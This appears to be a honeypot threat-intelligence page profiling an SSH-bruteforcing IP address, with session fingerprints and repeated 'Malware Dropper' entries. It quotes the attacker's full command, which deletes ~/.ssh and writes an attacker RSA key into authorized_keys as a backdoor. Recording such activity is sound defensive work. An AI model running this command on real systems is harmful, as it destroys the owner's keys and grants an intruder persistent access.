← Back to feed
Location
🇫🇮 FI / Helsinki
ASN
AS24940 · Hetzner Online GmbH
Cloud Provider
—
Total Events
405
Top 10% by volume
Agent Count
1
First / Last Seen
2026-04-25 20:26 — 2026-04-25 21:22
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Session Forensics
Sessions
57 (30 with login)
Avg Depth Score
0.49
Commands Executed
45
Files Downloaded
15
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
0f914c6e88b2
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
38e9a98b5880
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
5bc1c4f2b668
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
e159730aa8dc
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
358bda6bfc84
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
e03638a01b84
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
d60b18094789
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
3ed8e0297759
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
1f31b76d88c4
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
8ec22560b859
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
5d1098e172e3
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
86ab4e99b56c
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
e3e0dd2c4454
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
c320d1650b2f
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
101417c9a9a0
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
8ff7de4b7e6d
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
0dabf877b505
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
d111a6fb9465
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
2c1a8389fd12
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
b259802d6795
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
054ca1171b78
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
c934584a6c9b
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
de9efe382073
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
bac10170a77d
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
5ae9b7752f7d
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
94c441c88664
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…